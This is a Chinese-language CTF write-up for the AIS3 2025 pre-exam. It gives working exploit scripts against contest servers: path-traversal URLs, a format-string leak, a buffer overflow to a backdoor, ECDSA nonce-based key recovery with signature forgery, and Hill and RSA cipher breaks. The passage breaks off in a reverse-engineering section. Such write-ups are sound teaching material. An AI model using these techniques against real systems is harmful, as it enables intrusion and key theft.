2025 AIS3 Pre-exam Writeup

Posted May 24, 2025

AIS3 2025 Pre-exam Writeup

By Win

45 min read

2025 AIS3 Pre-exam Writeup

這次是第一次參加 Pre-exam 很興奮但被 Web 題幹破防了。

Web

Tomorin db 🐧

Source code main.go:

  
package main

import "net/http"

func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}

進行 Path Traversal http://chals1.ais3.org:30000/%2fflag

Flag:

AIS3{...}

進去網站可以看到 You can log in as guest/guest 嘗試用 guest/guest 登入
The 2FA code for guest will always be 000000
Only admin and view the flag. (登出後嘗試用 admin 登入)
admin/admin
2FA code (後來有 burp 撈但沒截圖到)

看了一下 Source Code 網站使用了 SQLite 儲存使用者資料，如果沒有封鎖靜態檔案讀取，那麼這個 SQLite 檔就會像靜態檔案一樣被瀏覽器直接下載。 Source code init.php :

  
$db = new SQLite3('users.db');

所以說當我們塞了 /users.db 就可以直接噴出 db 了

http://login-screen.ctftime.uk:36368/users.db

users.db : 成功拿到 2FA code :

Flag:

AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

Pwn

Format Number

Source Code:

  
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <string.h>


void check_format(char *format) {
    for (int i = 0; format[i] != '\0'; i++) {
        char c = format[i];
        if (c == '\n') {
            format[i] = '\0';
            return;
        }
        if (!isdigit(c) && !ispunct(c)) {
            printf("Error format !\n");
            exit(1);
        }
    }
}

int main() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    srand(time(NULL));
    int number = rand();
    int fd = open("/home/chal/flag.txt", O_RDONLY);
    char flag[0x100] = {0};
    read(fd, flag, 0xff);
    close(fd);
    
    char format[0x10] = {0};
    printf("What format do you want ? ");
    read(0, format, 0xf);
    check_format(format);

    char buffer[0x20] = {0};
    strcpy(buffer, "Format number : %3$");
    strcat(buffer, format);
    strcat(buffer, "d\n");

// "Format number : %3$<format> d\n
    printf(buffer, "Welcome", "~~~", number);

    return 0;
}

程式會把 /home/chal/flag.txt 讀進 stack 上的變數 flag，接著讓使用者輸入格式化字串來組合 printf(buffer, “Welcome”, “~~~”, number);。

雖然有 check_format() 過濾英文字母（不能用 %x, %s 等），但可以用 %% 輸出 %，繞過限制，例如：

輸入：%%20$
→ 變成：%3$%20$d
→ 印出 stack 上第 20 個值

Payload:

  
from pwn import *

context.log_level = "debug"
context.arch = "i386"

with open("flag.txt", "w") as f:
    pass

for i in range(20, 70):
    payload = f"%%{i}$"
    print(f"[*] 正在發送 payload: {payload}")

    p = remote("chals1.ais3.org", 50960)
    #p = process("./chal")
    p.sendlineafter(b"What format do you want ?", payload.encode()) 

    try:
        p.recvuntil(b"%", timeout=1) 
        res = p.recvline(timeout=1)
        print(f"[{i}] => {res}")
        with open("flag.txt", "ab") as f:
            f.write(res)
    except Exception as e:
        # 如果接收失敗 (例如超時)
        print(f"[{i}] => (沒有回應): {e}")
        with open("flag.txt", "a") as f:
            f.write(f"[{i}] => (沒有回應)\n")
    finally:
        # 關閉連線
        p.close()

print("[*] 測試完成，結果已存於 flag.txt")

Flag:

AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

Welcome to the World of Ave Mujica🌙

Run 起來：

這題是個簡單的 Buffer Overflow 題目

程式透過 read_int8() 讀入一個值給 int8，並用它當作 read(0, buf, int8) 的大小。雖然檢查了 int8 <= 127，但：

沒檢查負數

int8 是 signed 8-bit，傳入如 -50 會被轉成 unsigned 0xCE = 206，造成 overflow

  
char buf[143];
read(0, buf, int8);  // <-- 未檢查 int8 < 0，造成 overflow

可以利用這個行為蓋掉 return address，跳到 backdoor。

Payload:

  
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

# p = process("./chal")
p = remote("chals1.ais3.org", 60761)

backdoor_address = 0x0000000000401256

payload = b'a' * 0xa8 + p64(backdoor_address)

p.sendlineafter(b"?", b"yes")               
p.sendlineafter(b":", str(-50).encode())   
p.sendlineafter(b":", payload)            

p.interactive()

Flag:

AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._9be8fabfb7bf8785da6a455cfea4683b}

Misc

Ramen CTF

根據題目給的圖片中發票 QRcode 掃出資訊之後至 Google maps 查詢 MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**:2:2:1:蝦拉

Flag:

AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc

進去網站後發現有提到 root dir 下有東西嘗試塞 URL encode 來 Path Traversal chals1.ais3.org:20056/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f 嘗試成功後，確實有 flag 檔案。撈出後拿到 flag

Flag:

AIS3{tInY_weB_$3rveR_W17H_fIL3_8R0Ws1n9_AS_@_Featur3}

Welcome

手敲出 Flag

Flag:

AIS3{Welcome_And_Enjoy_the_CTF_!}

Crypto

~~這是一場AI大戰~~

SlowECDSA

漏洞分析漏洞點：可預測的 Nonce k ECDSA 簽章的安全性高度依賴於每次簽章所使用的隨機數 (nonce) k 的不可預測性與唯一性。如果 k 可以被預測、重複使用或其生成方式存在缺陷，則可能導致私鑰 sk 的洩漏。

在此題目中，nonce k 是由一個線性同餘法生成器 (LCG) 所產生：

  
class LCG:
    def __init__(self, seed, a, c, m):
        self.state = seed
        self.a = a
        self.c = c
        self.m = m

    def next(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state

# ...
lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)
# ...
def sign(msg: bytes):
    # ...
    k = lcg.next() # Nonce k is generated by LCG
    # ...

若取得兩組簽章 (r1, s1)、(r2, s2) 對相同訊息 example_msg，就可以建立如下關係： ECDSA 簽章公式： \(s = k^{-1}(h + r \cdot sk) \mod order\)

可推出：

\[k = s^{-1}(h + r \cdot sk) \mod order\]

再利用 LCG 的性質：

\[k_2 \equiv (a \cdot k_1 + c) \mod order\]

最終推出私鑰 sk 的公式為：

\[sk \equiv \frac{a s_1^{-1} h - s_2^{-1} h + c}{s_2^{-1} r_2 - a s_1^{-1} r_1} \mod order\]

Payload

  
import hashlib, socket, re
from ecdsa import NIST192p
from Crypto.Util.number import inverse, bytes_to_long

A = 1103515245
C = 12345
curve = NIST192p
order = curve.order
G = curve.generator

def recv_until_prompt(sock, prompt="Enter option: "):
    data = b""
    while not data.endswith(prompt.encode()):
        data += sock.recv(1024)
    return data.decode()

def get_example_sig(sock):
    sock.sendall(b"get_example\n")
    response = recv_until_prompt(sock)
    msg = re.search(r"msg: (.*)", response).group(1).strip().encode()
    r = int(re.search(r"r: (0x[0-9a-fA-F]+)", response).group(1), 16)
    s = int(re.search(r"s: (0x[0-9a-fA-F]+)", response).group(1), 16)
    return msg, r, s

def solve():
    with socket.create_connection(("chals1.ais3.org", 19000)) as s:
        recv_until_prompt(s)

        # Step 1: Get two example signatures
        m1, r1, s1 = get_example_sig(s)
        m2, r2, s2 = get_example_sig(s)
        assert m1 == m2
        h = bytes_to_long(hashlib.sha1(m1).digest()) % order

        # Step 2: Recover private key
        s1_inv = inverse(s1, order)
        s2_inv = inverse(s2, order)
        numerator = (A * s1_inv * h - s2_inv * h + C) % order
        denominator = (s2_inv * r2 - A * s1_inv * r1) % order
        sk = (numerator * inverse(denominator, order)) % order

        # Step 3: Recover LCG state (k2)
        k2 = (s2_inv * (h + r2 * sk)) % order
        k_flag = (A * k2 + C) % order

        # Step 4: Sign "give_me_flag"
        msg = b"give_me_flag"
        h_flag = bytes_to_long(hashlib.sha1(msg).digest()) % order
        R = k_flag * G
        r = R.x() % order
        s_ = (inverse(k_flag, order) * (h_flag + r * sk)) % order

        # Step 5: Send forged signature
        s.sendall(b"verify\n")
        recv_until_prompt(s)
        s.sendall(msg + b"\n")
        recv_until_prompt(s)
        s.sendall(f"{hex(r)}\n".encode())
        recv_until_prompt(s)
        s.sendall(f"{hex(s_)}\n".encode())

        print(s.recv(4096).decode())

if __name__ == "__main__":
    solve()

Stream

題目提供了一個 Python 腳本 chal.py 和一個輸出文件 output.txt。chal.py 的內容如下：

  
from random import getrandbits
import os
from hashlib import sha512
from flag import flag # 假設 flag.py 中定義了 flag 變數

def hexor(a: bytes, b: int):
    return hex(int.from_bytes(a)^b**2)

for i in range(80):
    # 每次迭代都使用一個新的隨機位元組的 SHA512 雜湊值和一個新的 256 位元隨機數
    print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

# 最後，使用 flag 和一個新的 256 位元隨機數
print(hexor(flag, getrandbits(256)))

output.txt 包含了 81 行十六進制編碼的字串，前 80 行是由 sha512 雜湊值加密得到的，最後一行則是由 flag 加密得到的。我們的目標是從 output.txt 中找出 flag。

加密流程分析 chal.py 中的核心加密邏輯為 hexor 函數，其運作如下：

接收兩個參數：
- a: 一個位元組串（如 SHA512 雜湊或 flag）
- b: 一個 256 位元隨機整數
步驟：
- 將 a 轉為整數：P = int.from_bytes(a)
- 計算平方：K_sq = b**2
- 執行 XOR：Result_int = P ^ K_sq
- 輸出為 hex 字串：hex(Result_int)
執行邏輯：
- 前 80 次迴圈：
  - a = sha512(os.urandom(1)).digest()（隨機單位元組的 SHA512）
  - b = getrandbits(256)（隨機 256 位元整數）
- 最後一次：
  - a = flag（明文 flag）
  - b = 新的隨機 256 位元整數

因此每一行加密資料可以形式化為： C_hex = hex(P ⊕ K²) 其中：

P 為明文（flag 或 SHA512 hash）
K 為 256-bit 隨機整數

加密弱點分析

原理簡述

此加密方式的關鍵弱點在於：

明文長度 « 金鑰平方的位元長度時，異或後的結果仍「接近」金鑰平方。

位元長度對比

K: 為 256 位元整數
- 所以 K²: 約為 512 位元
P_flag: flag 為短字串（例如 20–60 bytes = 160–480 bits）
- 比 K² 小很多 XOR 結果的特性

對於很小的 P（如 flag），C = P ⊕ K² 結果會很接近 K²：

高位的 K² 幾乎不會被改變
XOR 的影響只出現在低位（因為 P 的高位都是 0）

因此，有以下近似式： C ≈ K² ⟹ K ≈ isqrt(C) 即：只要對 C 取整數平方根即可近似得到 K！

SHA512 部分的限制

P_sha = int.from_bytes(sha512_hash)，長度為 512 bits
此時 P_sha 和 K² 長度相當
XOR 不再偏向低位，因此結果 C 和 K² 的差距變大
→ 平方根反推不準確，結果是亂碼

Payload :

  
import math
import string

# Python 3.8 之前的版本可能沒有 math.isqrt，這裡提供一個 polyfill
try:
    _ = math.isqrt
except AttributeError:
    def isqrt(n):
        if n < 0:
            raise ValueError("isqrt() argument must be non-negative")
        if n == 0:
            return 0
        x = int(math.sqrt(n))
        while x * x > n:
            x -= 1
        while (x + 1) * (x + 1) <= n:
            x += 1
        return x
    math.isqrt = isqrt

def hex_to_bytes(hex_str):
    """將十六進制字串轉換為位元組串。"""
    try:
        num = int(hex_str, 16)
        # 計算位元組長度，處理 0 的情況
        byte_len = (num.bit_length() + 7) // 8
        if byte_len == 0 and num == 0:
            return b'\x00' # 如果是 0，返回一個 null byte
        if byte_len == 0: # 此條件理論上在 num != 0 時不會達到
            return b''
        return num.to_bytes(byte_len, 'big')
    except Exception: # 寬泛的異常捕獲
        return b''

# 貼上 output.txt 的內容
hex_data = """
0xc900d26d54a60819abf46f3380bdc0d4b29d16bfde908e824f67ddc9d1f945a9e252deaf60dc7336c7efd5f7e11e943bdb9d8484254e3e4bf228e676e692ab97
# ... (output.txt 的其餘內容省略以保持簡潔) ...
0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694
""".strip().split('\n') # [cite: 1] (引用 output.txt 的結構)

found_flag = None

for h_str in hex_data:
    h_str = h_str.strip()
    if not h_str: continue
    
    H = int(h_str, 16) # C_int: 密文的整數表示
    K_approx = math.isqrt(H) # K_cand1: isqrt(C_int)

    # 檢查 K_approx^2 和 (K_approx+1)^2
    # 真實的 K 可能是 K_approx 或 K_approx + 1
    for k_val in [K_approx, K_approx + 1]: # K_cand
        F = H ^ (k_val**2) # Potential_Plaintext_int = C_int ^ (K_cand^2)
        b = hex_to_bytes(hex(F)) # 轉換回位元組串

        try:
            s = b.decode('ascii') # 嘗試 ASCII 解碼
            # 檢查是否為可讀的 ASCII 且長度合理
            # 並檢查是否包含 flag 的常見格式
            if len(s) > 10 and all(c in string.printable for c in s):
                # 優先選擇包含 flag 格式的字串
                if '{' in s and '}' in s: # flag 特徵檢查
                    found_flag = s
                    break 
        except UnicodeDecodeError:
            pass # 不是有效的 ASCII
        except Exception as e:
            # print(f"處理 {h_str} 時發生錯誤: {e}") # 可選：調試時使用
            pass
            
    if found_flag:
        break # 如果找到了 flag，就停止遍歷

if found_flag:
    print("\n--- 找到了可能的 Flag ---")
    print(found_flag)
else:
    print("\n--- 未能找到 Flag ---")

Hill

環境假設

明文與密文皆為 8 字節（64 位元）向量，modulo p 的運算。
加密方式為：
- 第一分組：C₀ = (A ⋅ P₀) mod p
- 第二分組起：Cᵢ = (A ⋅ Pᵢ + B ⋅ Pᵢ₋₁) mod p
目標是從可控明文與密文中推導出矩陣 A 與 B，進而解密旗標。

階段一：恢復矩陣 A 原理

假設矩陣 A 為 n×n，總共有 n² 個未知數。
發送 n 組標準基向量 P₀(j) = eⱼ 給伺服器（其中第 j 位為 1，其餘為 0）。
每次收到對應密文 C₀(j) 即為矩陣 A 的第 j 欄。步驟
1. 對於 k = 0 到 n−1：
- 構造明文：P₀(k) = b'\x00' * k + b'\x01' + b'\x00' * (n-k-1)
- 發送明文 P₀(k) 給伺服器。
- 接收密文 C₀(k)，即為 A 的第 k 欄。
  1. 組合出矩陣 A：
    1 A = [C₀(0) | C₀(1) | ... | C₀(n-1)]

階段二：恢復矩陣 B 原理

使用加密第二個分組的公式：
C₁ = (A⋅P₁ + B⋅P₀) mod p
選擇 P₁ = 0，使 A⋅P₁ = 0。
則：
B⋅P₀ = C₁ mod p，與 A 的恢復方式一致。步驟
1. 對於 k = 0 到 n−1：
- 明文為 2 組合併：
  1 2 3 P₀(k) = b'\x00' * k + b'\x01' + b'\x00' * (n-k-1) P₁(k) = b'\x00' * n P_total = P₀(k) + P₁(k)
- 發送明文 P_total 給伺服器。
- 接收密文分組 C_tmp(k) 與 C_B(k)：
  - C_tmp(k) = A⋅P₀(k) mod p
  - C_B(k) = B⋅P₀(k) mod p（因為 P₁ 為零向量）
    1. 組合出矩陣 B：
      1 B = [C_B(0) | C_B(1) | ... | C_B(n-1)]
      階段三：解密旗標原理
已知密文分組：C_flag[0], ..., C_flag[4]

解密公式如下：

第一組：
```
P_flag[0] = A⁻¹ ⋅ C_flag[0] mod p
```

其餘分組：

P_flag[i] = A⁻¹ ⋅ (C_flag[i] − B⋅P_flag[i−1]) mod p

步驟 1. 解析密文分組為數字向量列表：

  
 C_flag = [C₀, C₁, C₂, C₃, C₄]

計算矩陣模逆：  ```python  A_inv = inverse_mod_matrix(A, p)  ```
解密第一個明文分組：  ```python  P_flag[0] = (A_inv ⋅ C_flag[0]) % p  ```
解密後續明文分組：  ```python  for i in range(1, 5):    term_B = (B ⋅ P_flag[i-1]) % p    diff = (C_flag[i] - term_B + p) % p    P_flag[i] = (A_inv ⋅ diff) % p  ```
將所有明文分組還原為字串：  ```python  flag_bytes = b''.join(long_to_bytes_groupwise(P_flag[i]) for i in range(5))  flag = flag_bytes.rstrip(b'\x00').decode('utf-8')  ``` 成功解出原始旗標 `flag{...}`，過程運用模矩陣運算、向量推導與線性代數反推密鑰矩陣。

Payload :

  
#!/usr/bin/env python3
# Easist Block Cipher – single-shot solver
# 需求：python3 -m pip install pwntools numpy

from pwn import *
import numpy as np, re

HOST, PORT = "chals1.ais3.org", 18000
P, N       = 251, 8            # 有限體 Fₚ、block size
FLAG_BLKS  = 5                 # 旗標固定 5 塊

context.log_level = "info"     # 改 "debug" 看完整 I/O

io = remote(HOST, PORT)

# ── 0. 讀取旗標的密文 ──────────────────────────────────────
io.recvuntil(b"Encrypted flag:\n")
num_pat = re.compile(rb'-?\d+')
flag_ct = []
for _ in range(FLAG_BLKS):
    ln = io.recvline()
    flag_ct.append(np.array(list(map(int, num_pat.findall(ln))), dtype=int) % P)

# ── 1. 準備一次就能解 A、B 的 16 塊明文 ──────────────────
#   P0=e0 , P1=q , P2=e1 , P3=q , … , P14=e7 , P15=q
#   其中  e_k = b"01111111..."  (第 k 位是 '1')
#        q   = b"00000000"     (全部 '0')
blk_q  = b"0" * N
payload = bytearray()
for k in range(N):
    e = bytearray(b"0" * N)
    e[k] = ord('1')
    payload += e + blk_q
io.recvuntil(b"input: ")
io.sendline(payload)

# ── 2. 把 16 塊密文全部讀到 EOF ───────────────────────
raw = io.recvall(timeout=2)
chosen_ct = [np.array(list(map(int, num_pat.findall(ln))), dtype=int) % P
             for ln in raw.splitlines() if b'[' in ln]

if len(chosen_ct) != 16:
    log.error(f"預期 16 塊密文，實際收到 {len(chosen_ct)} 塊，請開 debug 探查")
    exit()

# ── 3. 建立 128×128 聯立方程  M·x = y  (x=Flatten(A|B)) ────────
rows, rhs = [], []
for i in range(16):
    Pi    = np.frombuffer(payload[i*N:(i+1)*N], dtype=np.uint8)
    Pprev = np.frombuffer(payload[(i-1)*N:i*N], dtype=np.uint8) if i else np.zeros(N,int)
    Ci    = chosen_ct[i]
    for r in range(N):
        row = [0]*128
        # A 部分
        for c in range(N):
            row[r*8 + c] = Pi[c] % P
        # B 部分
        for c in range(N):
            row[64 + r*8 + c] = Pprev[c] % P
        rows.append(row)
        rhs.append(Ci[r] % P)

M = np.array(rows, dtype=int) % P
y = np.array(rhs,  dtype=int) % P

# ── 4. 高斯消元 (mod 251) 解出 A、B ─────────────────────
def gauss_mod(A, b):
    n = A.shape[0]
    aug = np.hstack((A, b.reshape(-1,1))).astype(int) % P
    col = 0
    for row in range(n):
        piv = next((r for r in range(row, n) if aug[r,col]), None)
        while piv is None:
            col += 1
            piv = next((r for r in range(row, n) if aug[r,col]), None)
        aug[[row,piv]] = aug[[piv,row]]
        inv = pow(int(aug[row,col]), -1, P)
        aug[row] = (aug[row]*inv) % P
        for r in range(n):
            if r!=row and aug[r,col]:
                aug[r] = (aug[r] - aug[r,col]*aug[row]) % P
        col += 1
    return aug[:,-1] % P

sol = gauss_mod(M, y)
A = sol[:64].reshape(N,N) % P
B = sol[64:].reshape(N,N) % P

# ── 5. 模逆 A（8×8）────────────────────────────────────────
def inv8(mat):
    m = mat.copy() % P
    I = np.eye(N, dtype=int)
    for i in range(N):
        if m[i,i] == 0:
            for k in range(i+1, N):
                if m[k,i]:
                    m[[i,k]], I[[i,k]] = m[[k,i]], I[[k,i]]
                    break
        inv = pow(int(m[i,i]), -1, P)
        m[i] = (m[i]*inv) % P
        I[i] = (I[i]*inv) % P
        for k in range(N):
            if k!=i and m[k,i]:
                fac = m[k,i]
                m[k] = (m[k]-fac*m[i]) % P
                I[k] = (I[k]-fac*I[i]) % P
    return I % P

A_inv = inv8(A)

# ── 6. 解密旗標 ──────────────────────────────────────────
P_blocks = []
for i, Ci in enumerate(flag_ct):
    if i == 0:
        Pi = (A_inv @ Ci) % P
    else:
        Pi = (A_inv @ ((Ci - (B @ P_blocks[i-1])) % P)) % P
    P_blocks.append(Pi)

plain = bytearray()
for blk in P_blocks:
    plain += bytes(int(x) for x in blk)
flag = plain.rstrip(b'\x00').decode(errors='ignore')

print(f"\n[+] FLAG = {flag}")

Random_RSA

這題 CTF (Capture The Flag) 的密碼學挑戰 “random_RSA” 要求我們破解一個 RSA 加密。其特殊之處在於 RSA 模數 n 的質因數 p 和 q 是由一個線性同餘產生器 (LCG) 生成的。解題的關鍵在於先還原 LCG 的參數，然後利用 p 和 q 之間已知的 LCG 生成關係來找出它們，最終解密訊息。

1. 線性同餘產生器 (LCG) 參數洩漏

挑戰中使用的 LCG 定義為 rng(x) = (a*x + b) % m。

output.txt 檔案提供了 LCG 的模數 M (即 m) 以及三個連續的 LCG 輸出值 h0, h1, h2：

h0 = rng(seed_hint)
h1 = rng(h0) = (a*h0 + b) % M
h2 = rng(h1) = (a*h1 + b) % M

從 h1 和 h2 的定義，我們可以建立關於未知數 a 和 b （LCG 的乘數和增量）的線性方程組（模 M）：

1. h1 ≡ a · h0 + b (mod M)
2. h2 ≡ a · h1 + b (mod M)

將第二式減去第一式，可得：

h2 - h1 ≡ a · (h1 - h0) (mod M)

因此，參數 a 可以表示為：

a ≡ (h2 - h1) · (h1 - h0)^(-1) (mod M)

一旦計算出 a，就可以將其代回任一等式以求解 b：

b ≡ h1 - a · h0 (mod M)

由於 M 是通過 getPrime(512) 生成的一個 512 位質數，只要 h1 - h0 ≢ 0 (mod M)，模逆元 (h1 - h0)^(-1) (mod M) 就必定存在。

2. RSA 質數 p 和 q 的生成

RSA 模數 n = p · q。

質數 p 和 q 的生成方式如下：

p = genPrime(seed)，其中 seed 是一個 300 位元的質數
q = genPrime(p)

函式 genPrime(x_seed) 的運作方式是：

x = rng(x_seed) (第一次迭代)
while not is_prime(x):
x = rng(x) (後續迭代)
return x

這表示 p 是從某個初始種子 seed 開始，通過 LCG 反覆運算直到找到的第一個質數。而 q 則是將 p 作為種子，同樣通過 LCG 反覆運算直到找到的第一個質數。

令 k_q 為從 p 開始，呼叫 rng 函式直到生成質數 q 的總次數。則 q 可以表示為：

q ≡ (a^(k_q) · p + (Σ(i=0 to k_q-1) a^i) · b) (mod M)

令：

A_k = a^(k_q) (mod M)
B_k = (Σ(i=0 to k_q-1) a^i) · b (mod M)

則：

q ≡ A_k · p + B_k (mod M)

3. 尋找 p 和 q

由於 0 < p < M 和 0 < q < M，上述同餘式意味著 q = A_k · p + B_k - c·M 對於某個非負整數 c 成立。然而，因為 A_k · p + B_k 的結果經過 mod M 運算後才是 q，所以通常 c = ⌊(A_k · p + B_k) / M⌋。

一個更為直接的方法是利用 q ≡ A_k · p + B_k (mod M) 和 n = p·q。

將 q = n/p 代入，可得：

n/p ≡ A_k · p + B_k (mod M)

假設 p ≢ 0 (mod M)（因為 p 是質數且 p < M，這是合理的），兩邊同乘以 p：

n ≡ A_k · p² + B_k · p (mod M)

整理後得到一個模 M 的二次同餘方程：

A_k · p² + B_k · p - n ≡ 0 (mod M)

解題策略：

我們的策略是迭代 k_q（即 genPrime(p) 中 rng 的呼叫次數）。k_q 預期是一個相對較小的值（例如，1 到幾千）。對於每一個 k_q 值：

計算 A_k = a^(k_q) (mod M)
計算 B_k = (Σ(i=0 to k_q-1) a^i) · b (mod M)
- 如果 a = 1，則 Σ(i=0 to k_q-1) a^i = k_q (mod M)
- 否則，Σ(i=0 to k_q-1) a^i = (a^(k_q) - 1) · (a - 1)^(-1) (mod M)
解二次同餘方程 A_k · x² + B_k · x - n ≡ 0 (mod M)
- 由於 M 是質數，此方程最多有兩個解
- 可以使用 Tonelli-Shanks 演算法或其變體來求解
對於得到的每個解 x₀，它就是 p 的一個候選值（因為 0 < p < M，所以 p = x₀）
- a. 驗證 x₀ 是否為 n 的因子
- b. 若是，則計算 q_cand = n / x₀
- c. 驗證 p_cand = x₀ 和 q_cand 是否均為質數（可使用 gmpy2.is_prime 檢查）
- d. 關鍵驗證：模擬 genPrime(p_cand) 的過程，確認在恰好 k_q 次 rng 迭代後得到 q_cand，並且在前 k_q - 1 次迭代中沒有產生其他質數

一旦找到正確的 p 和 q，就可以：

計算 φ(n) = (p - 1)(q - 1)
計算私鑰 d ≡ e^(-1) (mod φ(n))
解密密文 m_int = c^d (mod n)
將其轉換為旗幟字串

Payload:

  
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.residue_ntheory import sqrt_mod
import gmpy2

# LCG 函數 (用於驗證)
def rng(x_val, a_lcg, b_lcg, m_lcg):
    return (a_lcg * x_val + b_lcg) % m_lcg

# 解析 output.txt 的函數
def parse_output(filename="output.txt"):
    data = {}
    try:
        with open(filename, "r") as f:
            for line in f:
                parts = line.strip().split(" = ")
                if len(parts) == 2:
                    data[parts[0]] = int(parts[1])
                else:
                    print(f"警告：無法解析行: {line.strip()}")
        # 檢查是否所有必要的鍵都存在
        required_keys = ['h0', 'h1', 'h2', 'M', 'n', 'e', 'c']
        for key in required_keys:
            if key not in data:
                raise ValueError(f"錯誤：輸入文件 '{filename}' 中缺少鍵 '{key}'。")
        return data
    except FileNotFoundError:
        print(f"錯誤：找不到輸入文件 '{filename}'。請確保它與腳本在同一目錄中。")
        exit(1)
    except ValueError as e:
        print(e)
        exit(1)


# 主要解題邏輯
def solve():
    # 1. 解析輸入
    print("正在解析輸入文件...")
    output_data = parse_output()
    h0 = output_data['h0']
    h1 = output_data['h1']
    h2 = output_data['h2']
    M = output_data['M']
    n = output_data['n']
    e_val = output_data['e']
    c_val = output_data['c']

    print("從 output.txt 讀取的參數:")
    print(f"M = {M}")
    print(f"n = {n}")
    print(f"e = {e_val}")
    print("-" * 30)

    # 2. 還原 LCG 參數 a, b
    print("正在還原 LCG 參數 (a, b)...")
    diff_h0_h1 = (h1 - h0 + M) % M
    if diff_h0_h1 == 0:
        print("錯誤：h1 - h0 為 0 mod M，無法計算逆元。")
        return

    try:
        inv_diff_h0_h1 = pow(diff_h0_h1, -1, M)
    except ValueError:
        print(f"錯誤：無法計算 (h1 - h0)^-1 mod M。gcd(h1-h0, M) != 1。")
        return
        
    a = ((h2 - h1 + M) % M * inv_diff_h0_h1) % M
    b = (h1 - (a * h0) % M + M) % M

    print("已還原的 LCG 參數:")
    print(f"a = {a}")
    print(f"b = {b}")
    print("-" * 30)

    # 3. 迭代 k_q 尋找 p 和 q
    print("開始迭代搜尋 p 和 q...")
    max_k_q = 3000  # 此上限可能需要根據實際情況調整

    found_p = None
    found_q = None

    for k_q in range(1, max_k_q + 1):
        if k_q % 100 == 0:  # 進度指示
            print(f"正在嘗試 k_q = {k_q}...")

        A_k = pow(a, k_q, M)

        if a == 1:
            S_k = k_q % M
        else:
            try:
                inv_a_minus_1 = pow(a - 1, -1, M)
                S_k = (pow(a, k_q, M) - 1 + M) % M * inv_a_minus_1 % M
            except ValueError:
                # print(f"警告：在 k_q={k_q} 時無法計算 (a-1)^-1。跳過。") # 通常不應發生
                continue
        
        B_k = (S_k * b) % M
        
        if A_k == 0:
            continue

        C_k_term = (-n % M + M) % M

        delta = (pow(B_k, 2, M) - (4 * A_k % M * C_k_term % M) + M) % M
        
        sqrt_delta_list = sqrt_mod(delta, M, True)

        if not sqrt_delta_list:
            continue
            
        try:
            inv_2A_k = pow(2 * A_k, -1, M)
        except ValueError:
            # print(f"警告：在 k_q={k_q} 時無法計算 (2*A_k)^-1。跳過。") # 通常不應發生
            continue

        possible_p_values = []
        for s_delta in sqrt_delta_list:
            p_cand = ((-B_k + s_delta + M) % M * inv_2A_k) % M
            possible_p_values.append(p_cand)
        
        possible_p_values = list(set(possible_p_values))

        for p_cand in possible_p_values:
            if p_cand == 0:
                continue

            if n % p_cand != 0:
                continue
            
            q_cand = n // p_cand

            if q_cand == 0 or p_cand == q_cand :
                continue

            if not (gmpy2.is_prime(p_cand) and gmpy2.is_prime(q_cand)):
                continue

            current_X = p_cand
            valid_path = True
            generated_q_candidate = -1

            for j in range(1, k_q + 1):
                current_X = rng(current_X, a, b, M)
                if j < k_q:
                    if gmpy2.is_prime(current_X):
                        valid_path = False
                        break
                elif j == k_q:
                    generated_q_candidate = current_X
            
            if not valid_path:
                continue

            if generated_q_candidate == q_cand and gmpy2.is_prime(generated_q_candidate):
                found_p = p_cand
                found_q = q_cand
                print(f"\n🎉 成功找到 p 和 q (k_q = {k_q}):")
                print(f"p = {found_p}")
                print(f"q = {found_q}")
                break 
        
        if found_p:
            break

    if not found_p:
        print(f"\n😔 在 k_q <= {max_k_q} 的限制內未能找到 p 和 q。")
        return

    print("-" * 30)
    # 4. RSA 解密
    print("正在執行 RSA 解密...")
    phi = (found_p - 1) * (found_q - 1)
    
    if gmpy2.gcd(e_val, phi) != 1:
        print(f"錯誤：e ({e_val}) 和 phi ({phi}) 不互質。無法計算 d。")
        return

    try:
        d_val = pow(e_val, -1, phi)
    except ValueError:
        print(f"錯誤：無法計算 e^-1 mod phi。gcd(e, phi) != 1。") # 理論上若 gcd!=1, pow 會報錯
        return

    m_int = pow(c_val, d_val, n)
    
    try:
        flag_bytes = long_to_bytes(m_int)
        try:
            flag_str = flag_bytes.decode('utf-8')
            print(f"\n🚩 解密後的旗幟: {flag_str}")
        except UnicodeDecodeError:
            print(f"\n🚩 解密後的旗幟 (無法以 UTF-8 解碼，顯示原始位元組): {flag_bytes}")
            
    except Exception as e:
        print(f"\n無法將解密後的數字轉換為位元組: {e}")
        print(f"解密後的整數: {m_int}")

# 執行解題函數
if __name__ == "__main__":
    solve()

Rev

Web flag checker

打開網頁後 F12 可以看到 .wasm WebAssembly code (可利用 JEB decompiler 工具) 反組譯後會得到.wat code

找到 flagchecker function ref : https://developer.mozilla.org/zh-TW/docs/WebAssembly

Ddisassembly :

  
int flagchecker(int param0) {
    // 建立臨時儲存區（stack 模擬）
    int* stack_frame = __g0 - 24;
    __g0 -= 24;

    // 變數定義
    int input_addr = param0;              // 使用者輸入字串指標
    int shift_base = -39934163;           // 用於產生各區塊的旋轉位元數
    long long targets[5];                 // 驗證用的目標數值
    int result = 0;                       // 回傳結果 (0 = 錯誤, 1 = 正確)
    int input_ptr;                        // 當前輸入位置指標
    int block_index;                      // 區塊索引
